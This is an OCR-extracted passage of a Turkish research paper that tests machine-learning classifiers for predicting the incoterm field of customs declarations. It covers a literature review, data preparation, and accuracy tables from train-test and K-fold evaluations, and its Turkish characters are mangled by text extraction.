glimriik kurallar1 belirlenmistir. Ttirkiye Cumhuriyeti Giimriik Bolgesi, Tiirkiye kara sulari, i¢ sular1 ve hava sahasi dahil
Tiirkiye Cumbhuriyeti topraklarini kapsar(Mevzuat Bilgi Sistemi, 2021).

Dis ticaret ithalat ve ihracat islemlerini kapsar. Ulkemizde iiretilen iiriinlerin diger iilkelere pazarlanmasi ve satilmasi ayrica
i¢ piyasanin ihtiyaci olan {irtinlerin temininin yapilmasi i¢in ihracat ve ithalat yapan firmalarin varlig1 énemlidir. (T.C.
Ticaret Bakanligi, 2021) verilerine gore 87.741 adet ihracat, 75.897 adet ithalat, 35.310 adet hem ihracat hem de ithalat yapan
firma bulunmaktadur. ithalat ve ihracat siiregleri birbirini izleyen islemlerin bir biitiiniidiir. D1s ticareti yapmak igin gerekli
sartlarin bilinmesi ve bunlarin eksiksiz olarak yapilmasi sarttir. Bu siirecin performansli bir sekilde yiiriitiilebilmesi ciddi
anlamda bilgi ve tecriibeye ihtiyag duymaktadir. Ayni zamanda tilkemizde dis ticaret islem hacmi yildan yila artmaktadir.
10.12.2021 tarihli son 3 yila ait giimriik beyanname verileri Sekil-1’de yer almaktadir (T.C. Ticaret Bakanligi, 2021).

Dis Ticaret Gimriik Beyanname Sayilan
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Sekil 1. (T.C. Ticaret Bakanligi, 2021) tarafindan yayinlanan verilerden yazarlar tarafindan olusturulmustur.
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Bu verilere gore Ocak-Kasim 2021 tarihleri arasinda 5.181.4286 adet ihracat, 2.939.678 adet ithalat olmak tizere toplam
8.120.964 adet beyanname islemi gergeklestirilmistir. Bu kadar yogun gerceklesen islemlerin gergeklestirilmesinde insan
kaynagindan ya da zamanla yetersiz kalan uygulama ve giincel teknolojilerden yeterince yararlanilmadigi durumlarda bir
takim hatalarla karsilagilmaktadir. Bu durum ise siiregcten beklenen hiz, kalite, performans beklentilerini karsilayamamakta
ve hatali bildirimlere sebebiyet vermektedir. Bu hatali bildirimler sonucunda isletmeler yiiksek tutarli cezalara maruz
kalmakta, miisteri, itibar ve zaman kayb1 gibi telafisi gli¢c durumlarla karsilasmaktadir. Diger taraftan giimriik islemleri dig
ticaretin énemli bir agamasidir. Islemlerin yapilabilmesi igin belli bilgileri igeren giimriik beyannamelerinin ilgili giimriik
miidiirliigiine sunulmasi gerekmektedir. Teknolojik gelismeler bu siireglerde ciddi iyilesmeler saglamistir. Islem sayilarinin
¢ok fazla oldugu giiniimiizde mevcut entegrasyon islemleri ile ciddi sayida beyanname islemi kisa siirelerde
sonuclandirilabilmektedir (Giildiiren & Oztop, 2020).

Giimriik islemlerinde kusursuz beyanname yazimi kritik 6neme sahiptir. Eksik ya da hatali olusturularak glimriige iletilen
beyannameler ¢ok ciddi sorunlara sebep oldugu bilinmektedir. Bu hatalar1 minimum seviyeye ¢ekilmesinde bilisim
teknolojilerinden biiyiik veri ve 6grenme algoritmalar: kullanilarak gelistirilecek akilli bir kontrolle beyanname hatalarin
biiyiik oranda tespiti miimkiindiir. Boylece hatali bildirimden kaynakli olumsuz sonuglarinin dogmadan dnlenmesine,
operasyonel siireglerin otomatize edilmesine, insan miidahalesinin asgari seviyeye ¢ekilmesine ve beyannamelerin dogru
olusturulmasina katki sunacaktir. Bu ¢aligma giincel bilisim teknolojilerinin sundugu imkanlarla makine 6grenmesinin
farkli alanlardaki basarili uygulamalarindan yola ¢ikarak hatasiz beyanname olusturulmasina destek olacak 6grenme tabanli

algoritmalarin etkinlik basarim diizeyleri iizerinde gerceklestirilmistir.
2. LITERATUR TARAMA

Makine 6grenmesi algoritmalar1 Kotsiantis ve ark. (2007) bugiine kadar bir¢ok alanda kullanilmistir ve basarili sonuglar
elde edilmistir. Glimriik beyanname siirecinde basarili bir sekilde kullanilabilecegi varsayimindan yola ¢ikarak bu ¢aligmaya
karar verilmistir. Bu amagla bu alanda yapilan ilgili aligmalarin arastirmasi yapilmistir. Onerdigimiz ¢oziimle ilgili temel
akademik ¢alismalara bu bdliimde yer verilmistir.

Canrakerta ve ark. (2020) giimriik beyannamesinin potansiyel hatalara sahip olabilecegi ve bu hatalarin kasitli da yapilmis
olabileceginden yola ¢ikarak is zekasi {iriinleriyle analiz yaparak olasi sorunlar1 ortaya ¢ikartmaya ¢aligsmislardir. Calismada,
Kimball metodolojisi ile veri ambari, OLAP ve veri madenciligi kullanilarak hata veya sahtekarligin tespit edilmesi
amaglanmigtir. Karar agaglari, destek vektor makineleri, sinirsel ag ve ¢esitli topluluk yontemleri gibi veri madenciligi
algoritmalar1 kullanmislardir. Calisma sonucunda gelistirilen SMOTE tekniginin anlamli derecede bir duyarlilik skoruna
sahip oldugunu tespit etmiglerdir. Shao ve ark. (2002) bir veri madenciligi uygulamasi ile giimriik beyannamesi verilerinde
dolandiricilik davranisini tespit etmeye ¢alismistir. Genisletilmesi kolay ¢ok boyutlu bir veri modeli i¢in uygun veri madenciligi
teknolojisi kullanarak hibrit bir dolandiricilik tespit stratejisi uygulamislardir. Dolandiricilik tespit uygulamalarinda veri
dagiliminin 6zelliklerinden dolay1 dolandiricilik davranigini tahmin etmenin zor oldugunu belirtmislerdir. Bunun yaninda
calismada acgikladiklar1 ¢ok boyutlu kritere sahip genisletilmesi kolay veri modelinin hem modelin dogrulugunu hem de
algoritmanin performansini iyilestirdigini belirtmislerdir. Model gii¢lii bir popiilerlestirme yetenegine sahip oldugundan,
diger benzer karmasik uygulamalara referans olarak kullanilabilecegi sonucuna varmislardir.

Maruev ve ark. (2014) giderek kiiresellesen diinyamizda, uluslararasi ticaretin oniindeki engellerin incelenmesinin uluslararasi
ekonomi alanini ilgilendirdigini belirtmislerdir. Calismalarinda giimriik beyannamelerinin hizli ve dogru bir sekilde islenmesi
sorununa odaklanmiglardir. Denetimli 6grenmeye dayali ticari mallar i¢in miisteri beyanlariin otomatik olarak iglenmesi
icin grafik tabanli yayma etkinlestirme algoritmasinin yeni bir kullanimini sunmuslardir. Sunduklar1 yontem ile giimriik
memurlari, tiiccarlar, tastyicilar ve sigortacilar tarafindan kullanilmak {izere tavsiye sistemleri olusturmuslardir. Her zamanki
risk temelli yaklasimin aksine, bu algoritma geleneksel risk gostergelerinden ziyade yalnizca sevkiyat verileri tizerine
egitilmistir. Bunun, giimriik yetkililerine tavsiyenin bir génderinin i¢erigi acisindan agiklanabilmesi ve gergek zamanli
olarak dogrulanabilmesi agisindan yararli oldugunu belirtmislerdir. Yaklagimin fizibilitesini Rusya Federasyonu ile iki AB
iilkesi arasindaki sekiz sinir kontrol noktasinda bir ay boyunca kesintisiz olarak toplanan 2500 giimriik kaydina bagvuru ile
test etmislerdir. Algoritma ile deneysel kosullar altinda %100 dogruluk elde etmislerdir.
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Ozer (2020) iilkemizde dis ticaret islemlerinin siirelerini incelemis ve bu siireleri gelismis iilkelerle karsilagtirmistir. Islemlerin
daha hizl1 ve tek bir yerden yapildigi Tek Pencere Sistemi hakkinda bilgi vererek buradaki siirecin nasil isledigi ve ne gibi
katkilar verdigine deginmistir. Tlgiin (2020) vergi denetiminde biiyiik veri analitiginin olumlu ve olumsuz yanlarini arastirmistir.
Biiyiik veri analitiginin kullanilmasinin bir tercih degil de kaginilmaz bir sonug olacagini vurgulamistir. Gerekli yapisal

doniisiim ve altyap1 ¢alismalari yeni teknolojilere uyum ve sonuglar1 konusundan bahsetmistir.

Garcia ve Caballero (2021) ¢ogu iilkeler i¢in 6nemli konulardan biri olan giimriik dolandiriciligina iligskin kontrol sisteminin
optimizasyonunun ekonomik agidan énemline dair bir problemi incelemislerdir. Makine 6grenimini ve ¢ok amacli dogrusal
programlamay1 birlestiren Bayes tabanli yeni bir hibrit yaklagim dnermiglerdir. Mevcut denetim sistemlerinin hassasiyetini
iki katindan fazlasina ¢gikarmanin (%237°1ik bir artisla) miimkiin oldugunu, insan kaynaklarinin neredeyse %50’sini serbest
birakmanin ve ayrica gegmis sonuglarin izerinde performans gostermenin miimkiin oldugunu gostermislerdir. Paula ve ark.
(2016) Brezilyal: ihracatg¢ilarin dolandiricilik yapma egilimlerini siniflandirmada denetimsiz derin 6grenme modelinden
elde edilen sonuglar1 sunmuslardir. Thracatgilarin biiyiik cogunlugunun, standart bir sekilde birbiriyle iliskili olan ihracat
hacminin agiklayici 6zelliklerine sahip oldugunu varsayarak, veri modeliyle ilgili anormal durumlari tespit etmek igin
‘AutoEncoder’ metodunu kullanmislardir. Calismalarini Brezilya Federal Gelir Sekreterligi tarafindan saglanan 2014 yilinda
Brezilya'da gergeklesen mal ve iiriin ihracat verilerine gére yapmislardir. Ihracat sirketlerini karakterize eden niteliklerden
kurduklari model ile en az yirmi ihracatgidaki anormallikleri tespit edebilmislerdir.

Li ve Li (2019) hizla artan uluslararasi ticarete konu mallarin siniflandirilmasinin zorlugunu belirtmislerdir. Gelismis makine
ogrenimi tekniklerinin mallar1 verimli bir sekilde siniflandirmasi igin bir firsat sagladigini sdyleyerek giimriik siniflandirma
siirecini kolaylastirmak igin metin-gériintii uyarlamali bir sinir ag1 onermislerdir. Onerdikleri model, biri metin, digeri
goriintii igin olmak {izere iki bagimsiz alt model icermektedir. Alt modeller, model egitim sonucuna gore parametrelerin
degerini ayarlayabilen yeni bir yontemle birlestirmislerdir. Son olarak, bir grup giimriik tarife koduna ve bir e-ticaret
sitesinden alinan bir veri setine dayali bir vaka ¢aligsmasi ve karsilastirma deneyleri yapmislardir. Deney sonuglarina gére
modellerinin glimriik siniflandirilmasinda basarili bir sekilde uygulandigini gérmiislerdir. Ryzhova ve Sochenkov (2019)
metinsel agiklamalarina dayali olarak mallarin giimriik siniflandirmasina odaklanmislardir. Kopyali ve kopyasiz olmak
iizere iki tiir veri kiimesi kullanarak farkli makine ve derin 6grenme modelleri 6nermislerdir. Lojistik regresyon (Sperandei,
2014) ile basarili sonuca ulagsmislardir. Barua ve ark. (2020) uluslararasi yiik tagimaciliginda makine 6grenmesi modelleri
gelistirerek talep tahmini, operasyon ve varlik bakimi, arag giizergahi ve zamaninda teslimat performansi tahmini konularinda

kullanimini tartismaktadirlar.

Mammadov (2020) giimriik tarafinda kullanilan teknolojileri incelemistir. Makine 6grenmesi de bunlardan biridir. X-ray’in
daha iyi uygulanmasi icin bilgisayar tabanli egitim yazilimi gelistirerek denetleme mekanizmalarinin simulasyonlarini
gergeklestirmistir. Makine 6grenmesi ve derin 6grenme algoritmalariyla saglik alaninda da ciddi ¢alismalar yapilmis ve
hastaliklarin teshisi konusunda basarili sonuglar elde edilmistir (Pamuk & Kaya, 2021; Akgiil ve ark., 2020; Saygin &
Baykara, 2021; Gulia ve ark., 2014; Cosar & Deniz, 2021; Baser ve ark., 2021).

Pazarlama alaninda yapilan ¢aligmalar incelendiginde; tiiketicilerin alis-veris aligkanliklarinin belirlemesi ve pazarlama
davranislarina iligskin yeni dngoriiler kazandirmada Sundsoy ve ark. (2014) karar verme siirecine 151k tutmada Cui ve ark.
(2006), insan i¢ goriileriyle pazarlama teorilerini iliskilendirmede Ma & Sun (2020), pazarlama alaninin gelisen dogasini
analiz etmede Siau & Yang (2017) ve pazarlama operasyonlarinin performansini iyilestirmede Brei (2020) ve Cui & Curry
(2005) akademik caligmalar1 gergeklestirilmistir.

Modern veri girisi teknolojileri dogrudan veri girisi programlarina uygulanarak giris hatalar1 biiyiik dlgiide azaltilmistir
(Mullooly, 1990). Rastgele segilen formlarin dogrulanmasi ile kritik alanlarin %100 dogrulanmasi, tiim alanlarin %100
dogrulanmasina uygun maliyetli bir alternatif saglamis ve %100 dogrulamay: gereksiz kilmistir (Mullooly, 1990). Veri giris
mekanizmasi, kullanici etkilesimi igin ilk ara yiiz oldugu i¢in insan-bilgisayar etkilesimi alaninda yayginlasmaktadir (Salve
ve ark., 2021). Insanlarin veri girisleri hatal olabilir ve bu hatal girisler olumsuz sonuglara sebep olabilir (Barchard & Pace,

2011). Veri kalitesi, modern veri tabanlarinda kritik bir sorundur. Veri giris hatalarini tespit etmek, azaltmak ve veri kalitesini

Acta Infologica 178



Giinerkan, G., Sahinaslan, E., Sahinaslan, O.

iyilestirmek i¢in otomatik yontemler konusunda ¢ok az aragtirma yapilmistir (Chen ve ark., 2011). Bu nedenlerle aragtirmacilar
veri giriglerini en aza indirecek ¢alismalar1 yaparak bu alanda yeni saha uygulamalarini gelistirmelidir (Barchard & Pace,
2011).

Makine 6grenmesi algoritmalar1 banka, sigorta, saglik, egitim, glivenlik, telekomiinikasyon, havacilik ve uzay, savunma
gibi pek cok sektorlerde farkli alanda kullanilmakta olup, yeni kullanim alanlarina iliskin aragtirmalarsa artan bir hizda
devam etmektedir. Tiim bu alanda yapilan basarili calismalar g6z 6niine alindiginda lojistik sektdriinde de kullanim alanlarinin
arastirilmasi sektdre bilyiik katki saglayacaktir. Ornegin giimriik beyannamesinde yasanan sorunlarin en asgariye
indirgenmesinde ve hatasiz beyanname yazimina destek olacak akill1 bir sistemin kurulmasinda 6grenme algoritmalarinin
etkinliginin test edilmesine ihtiya¢ vardir. Bu amaci karsilamak i¢in bu ¢calismada 6ncelikle giimriik beyanname siirecinde

o6grenmeye dayal1 algoritmalarin etkinliginin arastirilmasi hedeflenmistir.
3. MATERYAL VE METOT

Giimriik beyannamesi yiizlerce bilgi alanindan olusmaktadir (Giimriik Rehberi, 2021) ve (Ihracatta Kullanilan Uluslararas:
Dokiimanlar, 2021). Her bir bilgi alaninin tek tek dogru bir sekilde doldurulmasi gerekmektedir. Bu baglamda gelistirdigimiz
modelde her bir bilgi alan1 tahmininde her bir veri alani i¢in bir veri seti olusturulmustur. Bunlarin 6zniteliklerini (Dash &
Liu, 1997) belirlemede Delphi metodu kullanilmistir (Ameyaw ve ark., 2016), (Zartha ve ark., 2019), (Lund, 2020) ve (Sourani
& Sohail, 2014). Delphi yonteminde yapilmak istenen gelecege yonelik tahmin yapmak, bunun i¢in uzmanlardan yararlanmak
ve bir uzlagsma veya karara varmaktir. Burada da glimriik mevzuati bilgisi olan kisilere veri/bilgi alan1 tahmininde kullanilacak
Ozniteliklerin tespiti i¢in sorular sorularak modeller belirlenmistir. Modellerin ilk egitim sonuglar: degerlendirilmesinde
ozniteliklerin tizerinden gegilerek degisiklikler yapilmistir. Bu siire¢ kabul edilebilir basarim oranlarina ulasincaya kadar
tekrarlanarak modellere son hali verilmistir.

3.1. Siire¢ Akis1

Bu ¢alisma da uygulanan yonteme iliskin ana siire¢ asamalar1 Sekil 2°de gosterilmektedir. Lojistik bilgi sistemi kaynaklarindan
beyanname ve teslim sekli verisine ait ham veri kaynagi ve alanlarinin belirlenmesi, se¢imi, toplamasi, verinin hazirlamasi,

veri analizi, veri siniflandirmasi ve sonuglarin degerlendirme agamalarindan olusmaktadir.

e® °
L 4 . » -
il . .2 Veri Hazirlama, Makine . .
Lojistik Bilgi @ . e Veri Deseni o
e  Sistemi Temizleme ve Ogrenme Yorumlama Bilgi
1stemt Déontistiirme Algoritmalari
L "Y X | ®
...

Veri Kaynagi Veri Toplama Veri Onisleme Veri Analizi Veri Siniflandirma Sonug

Sekil 2. Calisma Ana Siire¢ Asamalari
3.2. Veri Toplama

Siirecin bu agamasinda lojistik bilgi sisteminden ¢alismada kullanilacak anlamli sayilan giimriik beyanname verilerinin
secimi yapilarak toplanmistir. Calismada, kullanilacak veri setinin olusturulmasinda tilkemizde biiyiik islem hacmine sahip
oncii bir uluslararasi lojistik firmanin 2010 yilindan sonra iiretilen toplam 4.498.069 adet beyanname verileri belirlenmistir.
Bu veriler, teslim sekli bilgisi tahmininde kullanilmak iizere MS SQL veri tabani iizerinde olusturulan bir tablo {izerinde

toplanmistir. Caligmada kullanilan beyanname verilerinin y1l bazinda adetleri ve buna iliskin grafik Sekil 3’te verilmistir.
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Sekil 3. 2010-2021 yillar1 arasinda yillik bazinda beyanname sayilari

Son 12 yilin beyanname verileri incelendiginde 2010 yilinda en az 251.737 adet ve 2017 yilinda ise en fazla 396.520 adet
beyanname verisinin oldugu gozlemlenmektedir. Grafikte yer alan beyanname sayilarinda 2018 yilina kadar artig yasanirken
2019 yilindan itibaren kismi azalis vardir. Bu azalisin COVID-19 pandemi sonrasina denk gelmesi dikkat ¢ekici bulunmustur.

Calisma icin olusturulan veri tabani tablosu lizerine toplanan beyanname verilerine ait her yildan bir adet ve rasgele secilen
(n=24) adet ornek veri seti bilgisi Tablo-1’de yer almaktadir. Bunlar anahtar alanlar, 6znitelik belirten alanlar ve g1kt alan1
olarak {i¢ boliim olarak ele alinip degerlendirilebilir.

Oznitelik veri setinin belirlenmesinde uzman gériislerine dayanan Delphi yontemi kullaniimistir. Tahminlemede giimriik
beyannamesi veri alanini dogrudan etkileyecek alanlarin belirlenmesinde mevzuat ekibinden destek alinmistir. Secilen
alanlar lizerinde ayri1 ayri galisilarak elde edilen sonuglar yine bu uzmanlarla birlikte degerlendirilmistir. Degerlendirmeler
sonucunda varsa iyilestirmeler mevzuat ekibiyle birlikte ¢alisma yeniden tekrarlanarak nihai modele karar verilmistir.
Gilimriik beyannamesi tizerinden belirlenen 6znitelikler; firma numarasi (firmnumber), beyannamenin isleme alindig1 giimriik
ofisi(customsoffice), beyannamesinde islemine ait rejim bilgisi(regime), rejim detay bilgisi(declarationl), rejim detay bilgisine
ait ek bilgi(declaration2), islem doviz tiirii(currencytype), ¢ikis iilke bilgisi(exitcountry), tagima nakliye tiir
bilgisi(bordervehiclemode) ve nakliye tiir kodu (bordervehiclecode) alanlarindan olusmaktadir. Cikt1 bilgisi olarak teslim
sekli kodu(incotermcode) veri alanindan olugsmaktadir.

Modeli olusturan 6zniteliklerin agirliklarinin tespitine yonelik Python uygulamasi izerinden gorsellestirme kodu yazilmistir.
Kullanilan 6zniteliklerin agirliklarina iliskin elde edilen grafik Sekil 4’de gosterilmektedir. Elde edilen sonuglara gore lojistik
firmanin islem yaptig1 9.350 farkli firmaya verilen firma numarasi en etkili 6znitelik olarak bulunmustur.
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Sekil 4. Oznitelik agirliklari
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Tablo 1
Teslim Sekli Veri Tablosu Ornek Veri Seti
" Anahtar Alanlar Oznitelik Alanlar Cikti
Ornek
No Year Depart-  File- Firm- Customs- Regime Declar- Declar- Currency-  Exit- B.vehicle- B.vehicle- Incoterm-
ment number number office ationl ation2 type country mode code code
1 2010 AVR 2226 1 341300 1040 EU 1 USD 52 TIR 30 FCA
2 2010 GMR 23198 5 340300 4000 EU 4 EUR 3 UCAK 40 FOB
3 2011 AND 25 29724 341200 4071 EU 4 EUR 4 TIR 30 CIP
4 2011 TRK 4335 132 343100 4000 M 4 EUR 728 GEMI 10 CIF
5 2012 GMR 16120 5 340300 4000 EU 4 EUR 4 UCAK 40 CPT
6 2012 AND 26245 8 341200 7100 ANT 7 TL 1 TIR 30 FCA
7 2013 EGE 920 14 340300 4000 EU 4 EUR 4 UCAK 40 DAP
8 2013 MRS 16677 10239 60600 1000 EX 1 uUsD 52 KAMYON 30 EXW
9 2014 GMR 2255 5 340300 3153 EU 3 EUR 52 UCAK 40 CPT
10 2014 EGE 210 101 351900 3151 EU 3 EUR 52 GEMI 10 EXW
11 2015 GEB 36647 60068 410500 4071 EU 4 EUR 5 TIR 30 DAP
12 2015 GEB 25548 47939 341200 1000 EU 1 EUR 52 TIR 30 DAP
13 2016 MRS 8047 10149 341300 3151 EU 3 EUR 52 KAMYON 30 CPT
14 2016 AND 7759 62093 330100 4071 IM 4 USD 616 KAMYON 30 CFR
15 2017 GEB 3804 10172 410300 4071 EU 4 GBP 6 GEMI 10 DAP
16 2017 TRK 31346 2308 343100 5100 IM 5 USD 664 GEMI 10 FOB
17 2018 ISN 31430 45616 330100 3151 EU 3 USD 52 GEMI 10 FOB
18 2018 GEB 1002 62255 340300 4000 EU 4 EUR 17 UCAK 40 EXW
19 2019 ANK 87 50917 341200 4010 EU 4 EUR 4 KAMYON 30 EXW
20 2019 EGE 30921 60522 350300 4010 EU 4 EUR 11 TIR 17 EXW
21 2020 GEB 26883 10582 341200 4071 EU 4 EUR 63 TIR 30 FCA
22 2020 GMR 2159 5 160200 1000 EU 1 EUR 52 KAMYON 30 FCA
23 2021 EGE 20268 60522 352200 5100 IM 5 EUR 52 TIR 30 EXW
24 2021 EGE 271 14 351700 3151 EU 3 TL 52 TIR 30 DAP

Bu anahtar veri alanlari; yil(year), boliim bilgisi(department) ve beyanname belge numarasi(filenumber) alanindan olugsmaktadir.
3.3. Veri Onisleme

Verilerin Onisleme siire¢ asamasi modelin tahminlemesinde 6nemli bir yer tutmaktadir (Alexandropoulos ve ark., 2019).
Verinin entegrasyonu, temizlenmesi, doniistiiriilmesi, azaltilmasi ve boyutunun kiigiiltiilmesi bu agamada yapilmaktadir
(Alasadi & Bhaya, 2017). Bu asamada toplanan veriler iizerinde belirli veri kontrolleri gergeklestirilmistir. Calismaya higbir
katkist olmayacak, hatta veri analiz ve degerlendirmesinde olumsuz yansimasi olabilecek 6znitelik igerigi bos (‘NULL),
ya da sembol (@, #, %, &, *) gibi isaretleri barindiran, ¢alisma amag ve kapsamina girmeyen veriler tespit edilerek ilgili
veri temizligi yapilmistir. Bu islem sonucunda verilerden 492.726 adeti ¢alisma kapsamindan ¢ikartilmistir.

Kategorik verilerin gogunlugunun sayisal olmadigi durumda ‘encoding’ yontemi kullanilarak veriler sayisallastirilip kullanilir
(Dahouda & Joe, 2021). Bu nedenle ¢aligmada kullanilan beyanname teslim sekli verilerin sayisallastirilmasi saglanmistir.
Sayisallastirma igleminde; ‘Label Encoder’ metodu kullanilmistir (Jackson & Agrawal, 2019). Calismada ele alinan verilerin
‘encoding’ yontemi uygulanarak sayisallastiriimasi saglanmistir. Bu verilerden biri olan teslim sekli veri setinin sayisallastiriima
sonrasi olusan yeni veri setine iliskin drnek veriler (n=9) Tablo 2’de gosterilmektedir.

Tablo 2

Sayisallastirma Sonrasi Teslim Sekli Veri Seti Ornegi

index firm custf)ms regime declarationl declaration2 currency exit bordervehicle  bordervehicle incoterm
number office type country mode code code

0 1 64 4 2 0 20 29 7 7 FCA

1 1 64 4 2 0 20 29 7 7 FCA

2 1 64 4 2 0 20 29 7 7 FOB

3 1 64 4 2 0 20 29 7 7 FOB

4 1 64 4 2 0 20 29 7 7 FCA

5 1 64 4 2 0 20 29 7 7 FCA
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6 1 59 8 2 1 20 29 14 8 FOB
7 1 59 24 4 3 20 126 14 8 DDU
8 1 59 24 2 3 20 9 14 8 DDP
9 1 64 24 2 3 20 2 7 7 DDU

3.4. Veri Analizi

Calismada beyanname verisi teslim sekli iizerinden veri analiz ve tahmininde bulunmak amactyla bagarili bulunan makine
o6grenme yaklasimlarindan yararlanilmistir. Makine 6greniminde Karar Agaclar1 (Decision Tree), veri seti degiskenlerini
bir aga¢c modelinde kullanarak istenilen degerin tahmin edilmesinde kullanilir. Daha isabetli tahmin sonuglarinin elde
edilmesinde karar agaglar1 temelinde gelistirilen Torbalama(Bagging), Rastgele Orman (Random Forest) ve Artirma (Boosting)
tliriinde yaklagimlarda vardir. Veri analiz ve siniflandirma algoritmalarinin seciminde bu alanda gergeklestirilen ve basarim
diizeyi yiiksek bulunan; Chen ve ark. (2019) Naive Bayes, Chandrasekar ve ark. (2017) Decision Tree Classification, Zhang
ve ark. (2018) Nearest Neighbors Classification, Abdulkareem & Abdulazeez (2021) Random Forest Classification, Dobriban
& Wager (2018) Ridge Classification, Roshan & Asadi (2020), Zhang ve ark. (2019) Bagging Classification AdaBoost
Classification ve Tang ve ark. (2016) Multi-Layer Perceptron ¢aligsmalari da dikkate alinmistir. Yine egitim verileri temelinde
yeni gozlemlerin kategorisini belirlemede kullanilan siniflandirma algoritmalarinin veri setine uygunlugu da géz oniinde
tutulan diger bir husus olmustur.

3.4. Veri Siniflandirma

Veri bilimi ve makine 6grenimi igin en yaygin kullanilan Python programlama diline ait ‘scikit-learn’ kiitliphanesi ‘spyder
editori’ ile kullanilmaktadir. Bu pakette modellerin egitimi i¢in standart test verisi orani %25 olarak alinir (Paper, 2020).
Bu ¢alismada kullanilan modellerin egitiminde test verisi oran1 %25 olarak dikkate alinarak egitimler gerceklestirilmistir.
Oncesinde farkl algoritma da denenmis ancak 6zellikle regresyon algoritmalarindaki Huang ve ark. (2019) olumsuz
sonuglardan dolay1 diger algoritmalar tercih edilmemistir. Siniflandirmada Naive Bayes, Decision Tree, K-Nearest Neighbors,
Random Forest, Ridge Classifier, Bagging Classifier, Ada Boost Classifier, MLP Classifier 6grenme algoritmalari kullanilmistir.

4. BULGULAR

Bu ¢aligsmada, 2010-2021 yillar1 arasinda olusan 4.498.069 adet veriden ¢alismaya elverisli olmayan 492.726 adet (%10.95)
veri ¢alisma kapsamindan ¢ikartilmistir. Ogrenme algoritmalarinin etkinligini 6lgmede toplam 4.005.343 adet beyanname
teslim sekli verisi kullanildi. Veri egitim ve siniflandirmasinda daha dnce ¢alismalarda kullanilan ve bagarili bulunan makine
o0grenme algoritmalari test edildi. Veri setinin egitiminde Train-test split yontemi kullanimui ile elde edilen siniflandirma
algoritma basarim oranlarina ait sonu¢ degerleri Tablo 3’de gosterilmektedir.

Tablo 3

Trian-Test Split Yonteminde Teslim Sekli Veri Seti Siniflandirma Algoritma Basarim Oranlart

Algoritma 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 2021 Tiim
Naive Bayes - NB 42.10 3529 30.87 3176 32.65 31.05 3170 3536 3573 36.85 38.04 38.28 30.58
Decision Tree Classifie-CART ~ 80.87  79.20 7742 7745 7896  79.03 78.03 7931 7992 80.28 82.86 83.19 75.69
K-Nearest Neighbors - KNN 7881  76.29 7454 73.60 7492 7626 7503 7646 7769 7771 80.22 80.00 72.21
Random Forest - RFC 80.76 7897 7740 7728 7872 7887 7779 7921 7970  80.08 82.60 82.91 7551
Ridge Classifier - RC 43.46 38.82 3746 3614 3698 3529 32.65 34.04 33.88 3509 3707 3676 3214
Bagging Classifier - BC 80.93 79.26 77.85 7747 79.08 79.11 78.08 7942 7994 8032 8292 83.13 75.70
Ada Boosting Classifier - ABC 13.17 7.68 693 3940 1813 1719 2960 21.18 1375 9.27 25.08 540  26.59
MLP Classifier - MLPC 55.00 5126 49.68 4447 4551 4508 4073 4124 4229 4312 4138 4471 39.17

Tablo 3’de ‘“Tim’ siitunundaki sonuglar ¢alismada kullanilan yil bagimsiz biitiin veriler iizerinden elde edilen sonuglari
gostermektedir. Bu sonuglara gére Naive Bayes(%30.58), Decision Tree Classification(%75.69), Nearest Neighbors
Classification(%72.21), Random Forest Classification (%75.51), Ridge Classification (%32.14), Bagging Classification
(%75.70), Ada Boosting Classification algoritmasinda(%26.59) ve Multi-Layer Perceptron (%39.17) basarim sonuclari elde
edilmistir. Siniflandirma algoritmalarinda Decision Tree Classification, Nearest Neighbors Classification, Random Forest
Classification ve Bagging Classification algoritmalar1 digerlerine gére daha basarili sonug iiretmistir. En basarili orana ise
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%75.70 ile Decision Tree Classification ve Bagging Classification algoritmalarinda elde edilmistir. Diger taraftan gimriik
operasyonlarinda mevzuat ve uygulamalarda zamanla degisiklikler, ciddi isleyis farkliliklar1 olabilmektedir. Bu farkliliklarin
sonuglar iizerinde bir etkisinin olup olmadigini aragtirmak i¢in ¢alisma yillar bazinda da gergeklestirilmistir. Bu sonuglar
incelendiginde Ada Boosting Classifier algoritmasi disinda diger algoritmalarda yillar bazinda ciddi farkliliklar gostermedigi,
tiim veriler izerinden elde edilen sonuglara gore genelde daha basarili sonuglar elde edildigi gézlemlenmistir. Ada Boost
algoritmasinin performans saglayabilmesi i¢in yeterli miktarda veriye ihtiyact vardir ve daha az veride basarim orani diisiik
cikmaktadir (Schapire, 1999). Veriler yillar bazinda incelendiginde 2021 yilinda Decision Tree algoritmasi %83.11’lik bir
oranla en iyi basarim oranina sahiptir.

Train-test split yonteminde egitim igin %75 ve test i¢in %25 veri ayrilmaktadir. Bu yontemde veri pargalanirken verinin
dagilimina gére modelin egitim ve testinde sapma ya da asir1 6grenme problemi ortaya ¢ikabilmektedir (Refaeilzadeh ve
ark., 2016). Kullandigimiz veri seti egitiminde bu tiir bir problemin var olup olmadigini anlamak i¢in ayrica K-Fold yontemi
ile de calisild1. K-Fold yonteminde veri K adet alt kiimeye boliinerek bir alt kiime test verisi olarak alinir ve K-1 adet alt
kiimenin egitiminde kullanilir. Bu egitim sonuglarinin ortalamasi alinarak algoritma bagarim orani tespit edilir. Calismamizda
K-Fold yonteminde K degeri genel olarak en performansli ¢ikan 10 degeri kullanilmistir. Veri setinin egitiminde K-Fold
yontemi kullanimi ile elde edilen siniflandirma algoritmalarina ait basarim oranlar1 Tablo 4’de gdsterilmektedir.

Tablo 4

K-Fold Yonteminde Teslim Sekli Veri Seti Suniflandirma Algoritma Basarim Oranlari

Algoritma 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 2021 Tiim
Naive Bayes - NB 40.56 3379 3422 3135 3336 3275 2977 3333 3357 3283 33.64 3290 3033
Decision Tree Classifie-CART ~ 81.16  79.24  77.86 7792 7933 79.23 78.14 79.64 80.14 80.73 8278 83.31 75.84
K-Nearest Neighbors - KNN 78.85 7632 7443 7395 7582 7592 7488 76.06 7698 7761 80.35 80.92 71.63
Random Forest - RFC 81.13 7910 7758 7759 79.04 79.05 7786 79.40 79.87 80.51 8256 83.11 75.63
Ridge Classifier - RC 42.61 3753 36.08 3480 3451 3427 3288 3415 3351 3447 3473 3458 3247
Bagging Classifier - BC 81.19 7930 7793 7793 7938 79.29 7820 7971 80.19 80.77 82.77 83.34 75.83
Ada Boosting Classifier - ABC ~ 37.90 2042 939 1423 1727 1629 3251 2583 11.85 17.56 34.07 11.82 34.56
MLP Classifier - MLPC 5496 4931 4675 4387 44.08 4382 40.51 3946 39.18 4045 38.82 3870 39.14

